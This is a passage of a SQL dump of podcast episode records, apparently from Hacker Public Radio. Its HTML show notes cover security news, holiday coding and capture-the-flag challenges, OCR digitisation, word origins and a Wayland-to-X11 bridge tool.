/>\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3993/hpr3993/08-fits-inside.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3993/hpr3993/08-fits-inside_thumbnail.jpg\"\nalt=\"08 fits inside\" /></a> <br/><small><small><em>Click the thumbnail\nto see the full-sized image</em></small></small></p>\n<p><em>09 compleat</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3993/hpr3993/09-compleat.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3993/hpr3993/09-compleat_thumbnail.jpg\"\nalt=\"09 compleat\" /></a> <br/><small><small><em>Click the thumbnail to\nsee the full-sized image</em></small></small></p>\n<p><em>10 docs</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3993/hpr3993/10-docs.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3993/hpr3993/10-docs_thumbnail.jpg\"\nalt=\"10 docs\" /></a> <br/><small><small><em>Click the thumbnail to see\nthe full-sized image</em></small></small></p>\n',326,103,0,'CC-BY-SA','z80, retro computing',0,0,1),
(3994,'2023-11-23','Lastpass Response',790,'I talk about lastpass','<p>I talk about <a href=\"https://www.lastpass.com/\">LastPass</a>.</p>\n',36,0,1,'CC-BY-SA','security,computers,internet',0,0,1),
(3995,'2023-11-24','Creating Your Own Internet Radio Streaming Device',570,'Claudio talks about a couple of streaming radio solutions to make your own internet radio device.','<p>aNONradio: <a href=\"https://anonradio.net\"\nclass=\"uri\">https://anonradio.net</a><br />\nTildeRadio: <a href=\"https://tilderadio.org\"\nclass=\"uri\">https://tilderadio.org</a></p>\n<p>Volumio: <a href=\"https://volumio.com/\"\nclass=\"uri\">https://volumio.com/</a><br />\nmoOde Audio: <a href=\"https://moodeaudio.org/\"\nclass=\"uri\">https://moodeaudio.org/</a></p>\n',152,0,0,'CC-BY-SA','moode,raspberrypi,audio,internetradio,streamingradio,multimedia,volumio,anonradio,tilderadio',0,0,1),
(3996,'2023-11-27','Holiday Challenges Series - Ep 1 - Advent of Code',221,'Discussing challenges to help you enjoy the holiday season','<h2 id=\"holiday-challenges-series---ep-1---advent-of-code\">Holiday\nChallenges Series - Ep 1 - Advent of Code</h2>\n<p>Since some of the information you are about to hear is time specific,\nI want to let you know that I am recording this near the end of November\nin 2023.</p>\n<p>Whichever holidays you celebrate this time of year, life generally\ngets busy and stressful.</p>\n<p>It could be shopping<br />\nor cooking<br />\nor cleaning<br />\nor school activities<br />\nor buying, assembling, wrapping, and delivering gifts<br />\nor planning time with family<br />\nor dealing with visiting family<br />\nor scheduling time off from work<br />\nor managing extra work while others have scheduled time off<br />\nor a whole plethora of other things.<br />\nThis time of year can be stressful.</p>\n<p>A few years ago, I discovered a fun activity, which challenged my\nmind and helped me focus and detach from the stress for a little while\neach day, through the month of December. It helped me manage the stress\nin an enjoyable way.</p>\n<p>Since then, I have found and tried several other similar activities,\nso I wanted to share a little about them with you for the next few\nepisodes so you can see what might work for you.</p>\n<p>The first I would like to share is called the Advent of Code\nChallenge (<a href=\"https://adventofcode.com/\"\nclass=\"uri\">https://adventofcode.com/</a>). In HPR episodes 2973 (<a\nhref=\"https://hackerpublicradio.org/eps/hpr2973/index.html\"\nclass=\"uri\">https://hackerpublicradio.org/eps/hpr2973/index.html</a>)\nand 3744 (<a href=\"https://hackerpublicradio.org/eps/hpr3744/index.html\"\nclass=\"uri\">https://hackerpublicradio.org/eps/hpr3744/index.html</a>),\nDaniel Perrson shared some great details about this challenge. I\nencourage you to go review his episodes.</p>\n<p>But the TLDR (Or maybe the TLDL -- Too Long Didn\'t Listen?) for\nAdvent of Code is that it is a 25 day challenge which begins on December\n1. Once you register at adventofcode.com, Each day, you will be\npresented with a problem to solve and some sample data to use for\nverification that your program works. You can choose to use any\nprogramming language or application you desire produce the answer. Last\nyear, I used this to brush up on my Python skills. Others use Visual\nBasic, C (and all its variants), Rust, Go, etc. I have seen people use\nCobol, Fortran, and Pascal, or even Microsoft Excel. It is really up to\nyou. You are then presented a dataset which is unique to your login, and\nagainst which you run your code. When complete, you submit the answer\ncame up with on the adventofcode.com web site and they will tell you if\nyou are correct or not.</p>\n<p>If you are competitive (And REALLY GOOD) there is a Global\nLeaderboard. If you want to compete with a group of friends, you can\nbuild your own leaderboard and invite others to take part with you.</p>\n<p>There are tons of resources online, from youtube channels to reddit\n(<a href=\"https://www.reddit.com/r/adventofcode/\"\nclass=\"uri\">https://www.reddit.com/r/adventofcode/</a>), to Discord (<a\nhref=\"https://discord.gg/tXJh262\"\nclass=\"uri\">https://discord.gg/tXJh262</a>)</p>\n<p>So, if you are looking for a way to challenge your mind and detach\nfrom holiday stress, Advent of Code may be something you might try.</p>\n<p>If this is not your cup of tea, I will be sharing several other\noptions for holiday challenges in future episodes.</p>\n',394,0,0,'CC-BY-SA','Advent of Code, holiday, challenge',0,0,1),
(3999,'2023-11-30','Holiday Challenges Series Ep 02 TryHackMe Advent of Cyber Challenge',183,'Discussing the TryHackMe Advent of Cyber challenge to help you enjoy the holiday season','<h2\nid=\"holiday-challenges-series---ep-2---tryhackme-advent-of-cyber-challenge\">Holiday\nChallenges Series - Ep 2 - TryHackMe Advent of Cyber Challenge</h2>\n<p>Since some of the information you are about to hear is time specific,\nI want to let you know that I am recording this near the end of November\nin 2023.</p>\n<p>If you missed the first episode, which introduces this series, you\ncan go back and listen to HPR3996</p>\n<p>I have been using TryHackMe for several years, and I recommend it to\nall of my students. It is a great environment where people can get hands\non experience with technology that relates to cyber security, all from\nthe comfort of their browser and free year-round.</p>\n<p>The TryHackMe Advent of Cyber challenge is a free gamified\nenvironment which focuses on penetration testing, security\noperations/engineering, forensics/incident response, malware analysis,\nmachine learning, and more!</p>\n<p>This year\'s challenge opens on December 1, 2023 (Which is the reason\nwhy I am posting twice this week). Typically, the Advent of Cyber\nchallenge includes daily beginner-friendly exercises for people new to\ncybersecurity. These can consist of walkthroughs, video tutorials, and\nchallenges. There are also prizes available based on random drawings and\non participant success.</p>\n<p>Infosec personalities like John Hammond, Gerald Auger, InsiderPHD,\nand InfoSec Pat are featured in this year\'s challenge.</p>\n<p>You can play with last year\'s Advent of Cyber challenge by visiting\n<a href=\"https://tryhackme.com/room/adventofcyber4\"\nclass=\"uri\">https://tryhackme.com/room/adventofcyber4</a>. It outlines\nthe overall story and shows all of the tasks last year\'s participants\nexperienced, including both offensive and defensive topics like: log\nanalysis, OSINT, scanning, brute force attacks, email analysis,\nCyberChef, blockchain smart contracts, malware analysis, memory\nforensics, packet analysis, web application hacking, and more!</p>\n<p>Everything can be done with a free account from within a browser.</p>\n<p>If you want to learn more about cybersecurity, transition your career\ninto infosec, or just have fun playing with cyber challenges, you can\ngive it a try by visiting tryhackme.com or <a\nhref=\"https://tryhackme.com/r/christmas\"\nclass=\"uri\">https://tryhackme.com/r/christmas</a></p>\n<p>Please note: I am not affiliated with TryHackMe in any way, other\nthan having been a paying member for many years. Students and others who\nhave participated in previous year\'s Advent of Cyber challenges have\ntold me how much they enjoyed it and learned from it. Even though I have\nbeen an infosec practitioner for more years than I would like to admit,\nI also have enjoyed taking part in this challenge.</p>\n<p>If this is not for you, I will be sharing another option for a\nholiday challenge in my next episode.</p>\n',394,0,0,'CC-BY-SA','Advent of Cyber, TryHackMe, Hands on, cyber, cybersecurity, infosec, holiday, challenge',0,0,1),
(4006,'2023-12-11','Holiday Challenges Ep 3 SANS Holiday Hack Challenge & KringleCon',160,'Discussing the SANS Holiday Hack Challenge & KringleCon to help you enjoy the holiday season','<h2\nid=\"holiday-challenges-series---ep-3---sans-holiday-hack-challenge-with-kringlecon\">Holiday\nChallenges Series - Ep 3 - SANS Holiday Hack Challenge with\nKringleCon</h2>\n<p>Since some of the information you are about to hear is time specific,\nI want to let you know that I am recording this near the end of November\nin 2023.</p>\n<p>If you missed the first episode, which introduces this series, you\ncan go back and listen to HPR3996</p>\n<p>The SANS Holiday Hack Challenge is an interactive online technology\nand hacking game combined with a virtual security conference, beginning\nin the second week of December. By the time this episode drops, it may\nalready be live. You can tour the North Pole conference facilities,\nmeeting people, interactive non-player characters (NPC), and maybe even\nsome villains from Holiday Hack Challenges past, as you solve problems\nand gather clues which you use to help save Christmas.</p>\n<p>Everything can be done from within the browser, and did I mention\nthere is a virtual security conference, called KringleCon? Some of the\nbiggest rock stars (and most humble and brilliant people) in\nCyberSecurity speak each year at KringleCon. Many of their talks also\nprovide clues to solving game challenges.</p>\n<p>Ed Skoudis and his team (The same people who build SANS NetWars) work\ntirelessly year after year to create the most amazing experience,\ncomplete with custom music! This has become one of my favorite holiday\ntraditions each year. You can learn more about the 2023 challenge by\nwatching Ed\'s Inside SANS Holiday Hack Challenge 2023 YouTube video at\n<a href=\"https://www.youtube.com/watch?v=X9Gmdr_CxzQ\"\nclass=\"uri\">https://www.youtube.com/watch?v=X9Gmdr_CxzQ</a></p>\n<p>You can access this year\'s challenge by visiting sans.org/holidayhack\nor <a href=\"https://www.sans.org/mlp/holiday-hack-challenge-2023/\"\nclass=\"uri\">https://www.sans.org/mlp/holiday-hack-challenge-2023/</a></p>\n<p>There, you will learn more about all things Holiday Hack before the\ngame opens in the second week of December. If you want to play now, or\njust get a feel for it, you can access three of the previous years\'\nchallenges right now at the same site.</p>\n<p>I am not associated with SANS or the Holiday Hack Challenge in any\nway, other than to have participated for several years now, and I have\nwatched other people learn and grow by taking part in it.</p>\n<p>I hope that you have enjoyed this short series. If there are other\nonline challenges you find interesting or informative, I encourage you\nto record a show about them.</p>\n<p>Have a wonderful day.</p>\n',394,0,0,'CC-BY-SA','SANS, KringleCon, holiday, challenge',0,0,1),
(3997,'2023-11-28','The Oh No! News.',875,'Sgoti talks about Malware distributed via Google\'s Dynamic Ads and more.','<h2 id=\"the-oh-no-news.\">The <em>Oh No!</em> news.</h2>\n<h2 id=\"oh-no-news-is-good-news.\"><em>Oh No!</em> News is Good\nNews.</h2>\n<ul>\n<li><strong>TAGS:</strong> Oh No, News, Threat analysis, InfoSec, Google\nDynamic Search Ads</li>\n</ul>\n<hr />\n<h3 id=\"threat-analysis-your-attack-surface.\"><strong>Threat analysis;\nyour attack surface.</strong></h3>\n<ul>\n<li><p><strong>Source:</strong> <a\nhref=\"https://ico.org.uk/about-the-ico/media-centre/news-and-blogs/2023/11/former-nhs-secretary-found-guilty-of-illegally-accessing-medical-records/\">Former\nNHS secretary found guilty of illegally accessing medical\nrecords</a><br />\n</p>\n<ul>\n<li>A former NHS employee has been found guilty and fined for illegally\naccessing the medical records of over 150 people.<br />\n</li>\n<li>Loretta Alborghetti, from Redditch, worked as a medical secretary\nwithin the Ophthalmology department at Worcestershire Acute Hospitals\nNHS Trust when she illegally accessed the records.<br />\n</li>\n</ul></li>\n<li><p><strong>Supporting Source:</strong> <a\nhref=\"https://www.openstreetmap.org/relation/1875340#map=12/52.2917/-1.9485\">Open\nStreet Map link to Redditch Worcestershire.</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://thehackernews.com/2023/11/netsupport-rat-infections-on-rise.html\">NetSupport\nRAT Infections on the Rise. Targeting Government and Business\nSectors</a><br />\n</p>\n<ul>\n<li>While NetSupport Manager started off as a legitimate remote\nadministration tool for technical assistance and support, malicious\nactors have misappropriated the tool to their own advantage, using it as\na beachhead for subsequent attacks.<br />\n</li>\n</ul></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://thehackernews.com/2023/11/beware-malicious-google-ads-trick.html\">Beware:\nMalicious Google Ads Trick WinSCP Users into Installing\nMalware</a><br />\n</p>\n<ul>\n<li>The threat actors are believed to leverage Google\'s Dynamic Search\nAds (DSAs), which automatically generates ads based on a site\'s content\nto serve the malicious ads that take the victims to the infected\nsite.<br />\n</li>\n</ul></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://thehackernews.com/2023/10/trojanized-pycharm-software-version.html\">Trojanized\nPyCharm Software Version Delivered via Google Search Ads.</a><br />\n</p>\n<ul>\n<li>Victims who clicked on the ad were taken to a hacked web page with a\nlink to download the application, which turned out to install over a\ndozen different pieces of malware instead.<br />\n</li>\n</ul></li>\n</ul>\n<hr />\n<h3 id=\"infosec-the-language-of-security.\"><strong>InfoSec; the language\nof security.</strong></h3>\n<ul>\n<li><strong>Source:</strong> <a\nhref=\"https://thehackernews.com/2023/11/why-defenders-should-embrace-hacker.html\">Why\nDefenders Should Embrace a Hacker Mindset</a><br />\n</li>\n</ul>\n<hr />\n<ul>\n<li><strong>Additional Information.</strong>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Data_breach\"\ntitle=\"From Wikipedia, the free encyclopedia.\">What is a \"Data\nBreach\"?</a> A data breach is a security violation, in which sensitive,\nprotected or confidential data is copied, transmitted, viewed, stolen,\naltered or used by an individual unauthorized to do so.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Malware\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Malware\"?</a>\nMalware (a <a href=\"https://en.wikipedia.org/wiki/Portmanteau\"\ntitle=\"From Wikipedia, the free encyclopedia\">portmanteau</a> for\nmalicious software) is any software intentionally designed to cause\ndisruption to a computer, server, client, or computer network, leak\nprivate information, gain unauthorized access to information or systems,\ndeprive access to information, or which unknowingly interferes with the\nuser\'s computer security and privacy.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Payload_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Payload\"?</a>\nIn the context of a computer virus or worm, the payload is the portion\nof the malware which performs malicious action; deleting data, sending\nspam or encrypting data. In addition to the payload, such malware also\ntypically has overhead code aimed at simply spreading itself, or\navoiding detection.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Phishing\"\ntitle=\"From Wikipedia, the free encyclopedia.\">What is \"Phishing\"?</a>\nPhishing is a form of <a\nhref=\"https://en.wikipedia.org/wiki/Social_engineering_(security)\"\ntitle=\"From Wikipedia, the free encyclopedia\">social engineering</a>\nwhere attackers deceive people into revealing sensitive information or\ninstalling malware such as <a\nhref=\"https://en.wikipedia.org/wiki/Ransomware\"\ntitle=\"From Wikipedia, the free encyclopedia\">ransomware</a>. Phishing\nattacks have become increasingly sophisticated and often transparently\nmirror the site being targeted, allowing the attacker to observe\neverything while the victim is navigating the site, and transverse any\nadditional security boundaries with the victim.<br />\n</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Social_engineering_(security)\">Social\nengineering (security)</a> In the context of information security,\nsocial engineering is the <a\nhref=\"https://en.wikipedia.org/wiki/Psychological_manipulation\">psychological\nmanipulation</a> of people into performing actions or divulging\nconfidential information. A type of confidence trick for the purpose of\ninformation gathering, fraud, or system access, it differs from a\ntraditional \"con\" in that it is often one of many steps in a more\ncomplex fraud scheme.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Information_security\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Information\nSecurity\" (InfoSec)?</a> Information security, sometimes shortened to\nInfoSec, is the practice of protecting information by mitigating <a\nhref=\"https://en.wikipedia.org/wiki/Information\"\ntitle=\"From Wikipedia, the free encyclopedia\">information</a> risks. It\nis part of <a\nhref=\"https://en.wikipedia.org/wiki/Risk_management_information_systems\"\ntitle=\"From Wikipedia, the free encyclopedia\">information risk\nmanagement</a>.\n<ul>\n<li><strong>Information Security Attributes:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Confidentiality\"\ntitle=\"From Wikipedia, the free encyclopedia\">Confidentiality</a>, <a\nhref=\"https://en.wikipedia.org/wiki/Data_integrity\"\ntitle=\"From Wikipedia, the free encyclopedia\">Integrity</a> and <a\nhref=\"https://en.wikipedia.org/wiki/Availability\"\ntitle=\"From Wikipedia, the free encyclopedia\">Availability</a> (C.I.A.).\nInformation Systems are composed in three main portions, hardware,\nsoftware and communications with the purpose to help identify and apply\ninformation security industry standards, as mechanisms of protection and\nprevention, at three levels or layers: physical, personal and\norganizational. Essentially, procedures or policies are implemented to\ntell administrators, users and operators how to use products to ensure\ninformation security within the organizations.<br />\n</li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Risk_management\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Risk\nmanagement\"?</a> Risk management is the identification, evaluation, and\nprioritization of risks followed by coordinated and economical\napplication of resources to minimize, monitor, and control the\nprobability or impact of unfortunate events or to maximize the\nrealization of opportunities.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Vulnerability_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Vulnerability\"\n(computing)?</a> Vulnerabilities are flaws in a computer system that\nweaken the overall security of the device/system. Vulnerabilities can be\nweaknesses in either the hardware itself, or the software that runs on\nthe hardware.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_surface\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is an \"Attack\nSurface\"?</a> The attack surface of a software environment is the sum of\nthe different points (for \"attack vectors\") where an unauthorized user\n(the \"attacker\") can try to enter data to or extract data from an\nenvironment. Keeping the attack surface as small as possible is a basic\nsecurity measure.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_vector\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is an \"Attack\nVector\"?</a> In computer security, an attack vector is a specific path,\nmethod, or scenario that can be exploited to break into an IT system,\nthus compromising its security. The term was derived from the\ncorresponding notion of vector in biology. An attack vector may be\nexploited manually, automatically, or through a combination of manual\nand automatic activity.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Standardization\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is\n\"Standardization\"?</a> Standardization is the process of implementing\nand developing technical standards based on the consensus of different\nparties that include firms, users, interest groups, standards\norganizations and governments. Standardization can help maximize\ncompatibility, interoperability, safety, repeatability, or quality. It\ncan also facilitate a normalization of formerly custom processes.\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_computer_standards\"\ntitle=\"From Wikipedia, the free encyclopedia\">List of computer\nstandards.</a><br />\n</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/List_of_technical_standard_organizations\"\ntitle=\"From Wikipedia, the free encyclopedia\">List of technical standard\norganizations.</a><br />\n</li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Replay_attack\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Replay\nattack\"?</a> A replay attack is a form of network attack in which valid\ndata transmission is maliciously or fraudulently repeated or delayed.\nAnother way of describing such an attack is: \"an attack on a security\nprotocol using a replay of messages from a different context into the\nintended (or original and expected) context, thereby fooling the honest\nparticipant(s) into thinking they have successfully completed the\nprotocol run.\"<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Man-in-the-middle_attack\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a\n\"Man-in-the-middle attack\"?</a> In cryptography and computer security, a\nman-in-the-middle, ..., attack is a cyberattack where the attacker\nsecretly relays and possibly alters the communications between two\nparties who believe that they are directly communicating with each\nother, as the attacker has inserted themselves between the two\nparties.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Transport Layer\nSecurity\" (TLS)?</a> Transport Layer Security (TLS) is a cryptographic\nprotocol designed to provide communications security over a computer\nnetwork. The protocol is widely used in applications such as email,\ninstant messaging, and voice over IP, but its use in securing HTTPS\nremains the most publicly visible.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Handshake_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Handshake\"\n(computing)?</a>. In computing, a handshake is a signal between two\ndevices or programs, used to, e.g., authenticate, coordinate. An example\nis the handshaking between a hypervisor and an application in a guest\nvirtual machine.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Security_theater\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is Security\ntheater?</a> The practice of taking security measures that are\nconsidered to provide the feeling of improved security while doing\nlittle or nothing to achieve it.<br />\n</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>License:</strong> <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/legalcode\">Creative\nCommons Attribution-ShareAlike 4.0 International</a><br />\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-sa/4.0/88x31.png\" /></a><br />This\nwork is licensed under a\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-sa/4.0/\">Creative\nCommons Attribution-ShareAlike 4.0 International License</a>.</li>\n</ul>\n',391,74,0,'CC-BY-SA','Oh No News, Threat analysis, InfoSec, Google Dynamic Search Ads',0,0,1),
(4005,'2023-12-08','Sgoti\'s reply to multiple shows.',893,'Sgoti replies to a few HPR Shows.','<h1 id=\"sgotis-reply-to-multiple-shows.\">Sgoti\'s reply to multiple\nshows.</h1>\n<h2 id=\"sgoti-replies-to-a-few-hpr-shows.\">Sgoti replies to a few HPR\nShows.</h2>\n<ul>\n<li><p>Tags: Reply show, password managers, lastpass.</p></li>\n<li><p>Reply to: <a\nhref=\"https://hackerpublicradio.org/eps/hpr3988/index.html\"\ntitle=\"operat0r talks about Beeper dot com a multi chat client\">hpr3988\n:: Beeper.com</a><br />\n</p></li>\n<li><p><strong>Supporting Source:</strong> <a\nhref=\"https://www.beeper.com/\">Beeper chat application</a><br />\n</p></li>\n<li><p><strong>Supporting Source:</strong> <a\nhref=\"https://github.com/beeper\">Beeper Github page</a><br />\n</p></li>\n<li><p><strong>Supporting Source:</strong> <a\nhref=\"https://github.com/beeper#work-with-us-at-beeper\">Work with us at\nBeeper</a><br />\n</p></li>\n<li><p>Reply to: <a\nhref=\"https://hackerpublicradio.org/eps/hpr3989/index.html\"\ntitle=\"LastPass was hacked, what should you do?\">hpr3989 :: LastPass\nSecurity Update 1 November 2023</a><br />\n</p></li>\n<li><p>Reply to: <a\nhref=\"https://hackerpublicradio.org/eps/hpr3994/index.html\">hpr3994 ::\nLastpass Response</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://youtu.be/IY84DvdPQaw?si=VFDyfM6YSh1IEs3N&amp;t=602\">The\nTHREE STOOGES - A Plumbing We Will Go</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.youtube.com/watch?v=UWQoK506xkQ\">Whitest Kids U Know:\nLeg Peeing</a><br />\n</p>\n<ul>\n<li>This was just funny. I found it while searching for, \"why the\nBritish say things like taking a piss\".</li>\n</ul></li>\n</ul>\n<p>This work is licensed under a <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/\"\ntitle=\"CC-BY-SA 4.0 International\">Creative Commons\nAttribution-ShareAlike 4.0 International License</a>.</p>\n',391,0,0,'CC-BY-SA','reply show, password managers, lastpass',0,0,1),
(3998,'2023-11-29','Using open source OCR to digitize my mom\'s book',1847,'How I used open source tools such as gphoto2 and the OCR software tesseract to digitize pages','<p>To improve the speed of my workflow, I wrote a bash script that uses\nthe open source programs programs <code>gphoto2</code>,\n<code>tesseract</code>, <code>grep</code> and <code>ImageMagick</code>\nto digitize my mom\'s 338 page book. Here is the link to the script:\n<a href=\"https://github.com/deltaray/ocr-script\">https://github.com/deltaray/ocr-script</a></p>\n',194,0,0,'CC-BY-SA','ocr,opensource,grep,scripts,programming',0,0,1),
(4002,'2023-12-05','Today I learnt - 2023-11-24',477,'Some odds and ends I learnt today','<article>\n<h2 id=\"whats-this\">What\'s this?</h2>\n<p>I enjoy finding out about things. Now I\'m retired (I have been for 14\nyears), I have time to research subjects I find interesting. So I\ndo!</p>\n<p>The HPR project is going through a phase where the queue can get very\nlow, so I thought having a subject where I could fire off short shows\nfrom time to time would help with this. Maybe we can make a series where\nothers who like the idea can contribute when the mood takes them!</p>\n<p>My plan is to keep details to a minimum and provide links to sources\nof more information if you\'re someone who likes to dig deeper!</p>\n<h2 id=\"til-1---is-it-learnt-or-learned\">TIL 1 - is it <em>learnt</em>\nor <em>learned</em>?</h2>\n<p>I discovered that both are acceptable. Both are the past tense (and\npast participle) of the verb \"to learn\":</p>\n<ul>\n<li><em>learnt</em> is an older form which is more common in British\nEnglish</li>\n<li><em>learned</em> is more common in US English, and is becoming more\npopular in the UK</li>\n</ul>\n<h3 id=\"links\">Links</h3>\n<ul>\n<li><a\nhref=\"https://grammarist.com/spelling/learned-learnt/\">Grammarist:\nLearned vs. learnt</a></li>\n<li><a\nhref=\"https://www.bbc.co.uk/worldservice/learningenglish/radio/specials/1535_questionanswer/page50.shtml\">BBC\nAsk About English</a></li>\n</ul>\n<h2 id=\"til-2---the-french-word-for-piggy-bank\">TIL 2 - the French word\nfor <em>piggy bank</em></h2>\n<p>I watch a YouTube channel from a Canadian woodworker who produces\nEnglish and French versions of his episodes. His latest one is about\nmaking a wooden piggy bank, or <em>tirelire</em> in French.</p>\n<p>I learnt French at school (though I wasn\'t much good at it), but have\nnever come across this word. My questions are:</p>\n<ul>\n<li>Where does it come from?</li>\n<li>How do you say it?</li>\n</ul>\n<p>The Wiktionary page below has answers to both.</p>\n<ul>\n<li>It\'s of <em>onomatopoeic origin (representing the rattling of\ncoins)</em>.</li>\n<li>There\'s audio on the page showing how to say it (as well as the IPA\nversion [International Phonetic Alphabet], see below).</li>\n</ul>\n<h3 id=\"links-1\">Links</h3>\n<ul>\n<li>YouTube channel - <em>The Woodpecker</em>:\n<ul>\n<li><a href=\"https://www.youtube.com/watch?v=Nsla1NB-Q40\">L\'gosseux\nd\'bois EP 305 - Une tirelire en bois</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=2r739TM_ru8\">The Woodpecker\nEP 305 - A wooden piggybank</a></li>\n</ul></li>\n<li><a href=\"https://en.wiktionary.org/wiki/tirelire\">Wiktionary:\ntirelire</a></li>\n</ul>\n<h2 id=\"til-3---how-to-pronounce-ipa-coded-words\">TIL 3 - how to\npronounce IPA coded words</h2>\n<p>I actually learnt about this a while ago, but I thought now would be\na good time to share.</p>\n<p>The IPA form of <em>tirelire</em> is <code>/tiʁ.liʁ/</code> (I\nincluded the enclosing slash delimiters which aren\'t part of the IPA but\nhave significance; see the IPA Wikipedia page for details). I have seen\nthese symbols for years but have never managed to decode them\nreliably.</p>\n<p>A few months ago I wondered how to deal with them reliably (and\neasily). There are many sites offering to transcribe English (and other\nlanguages) to IPA, a few of which are free. I only found one that would\nattempt to speak IPA, and that is <a href=\"http://ipa-reader.xyz\">IPA\nReader</a>.</p>\n<p>Paste the IPA into the form, select a reader voice, and click \"Read\".\nSome of the voices seem a bit odd. I settled on \"Brian\" for British\nEnglish, and it seems fine.</p>\n<h3 id=\"links-2\">Links</h3>\n<ul>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/International_Phonetic_Association\">International\nPhonetic Association</a> - creators of the <a\nhref=\"https://en.wikipedia.org/wiki/International_Phonetic_Alphabet\">International\nPhonetic Alphabet</a></li>\n<li><a href=\"http://ipa-reader.xyz\">IPA Reader</a></li>\n</ul>\n</article>\n',225,0,1,'CC-BY-SA','learning,learned,learnt,TIL,English,French,phonetics,IPA,tirelire',0,0,1),
(4004,'2023-12-07','Wayland to X11 bridge',285,'Ken found out about x prop and x wayland video bridge','<p>After a strange unnamed window appeared on my desktop, I used\n<code>xprop</code> to identify it and a search lead me to\n<code>xwaylandvideobridge</code>.</p>\n<p>From the man page of</p>\n<blockquote>\n<p>xprop - property displayer for X</p>\n<p>SUMMARY<br />\nThe xprop utility is for displaying window and font properties in an X\nserver. One window or font is selected using the command line arguments\nor possibly in the case of a window, by clicking on the desired window.\nA list of properties is then given, possibly with formatting\ninformation.</p>\n</blockquote>\n<p>From <a href=\"https://github.com/KDE/xwaylandvideobridge\">GitHub KDE\n/ xwaylandvideobridge </a></p>\n<blockquote>\n<h2 id=\"about\">About</h2>\n<p>By design, X11 applications can\'t access window or screen contents\nfor wayland clients. This is fine in principle, but it breaks screen\nsharing in tools like Discord, MS Teams, Skype, etc and more.</p>\n<p>This tool allows us to share specific windows to X11 clients, but\nwithin the control of the user at all times.</p>\n<h2 id=\"how-to-use\">How to use</h2>\n<p>xwaylandvideobridge should autostart on login. It will run in the\nbackground. Next time you try to share a window a prompt will appear.\nThe previously selected window should now be available for sharing. The\ntitle will always be \"Wayland to X11 bridge\" no matter what window is\nselected.</p>\n<p>The system tray icon provides finer control.</p>\n</blockquote>\n',30,0,0,'CC-BY-SA','TodayILearned, xprop, XwaylandVideoBridge',0,0,0);
/*!40000 ALTER TABLE `eps` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `hosts`
--
DROP TABLE IF EXISTS `hosts`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `hosts` (
`hostid` int(10) NOT NULL AUTO_INCREMENT,
`host` text NOT NULL,
`email` text NOT NULL,
`profile` text NOT NULL,
`license` varchar(11) NOT NULL DEFAULT 'CC-BY-SA',
`local_image` int(2) NOT NULL DEFAULT 0,
`gpg` text NOT NULL,
`valid` int(1) NOT NULL DEFAULT 1,
`espeak_name` text DEFAULT NULL COMMENT 'Version of the host name for use with espeak',
PRIMARY KEY (`hostid`)
) ENGINE=MyISAM AUTO_INCREMENT=426 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `hosts`
--
LOCK TABLES `hosts` WRITE;
/*!40000 ALTER TABLE `hosts` DISABLE KEYS */;
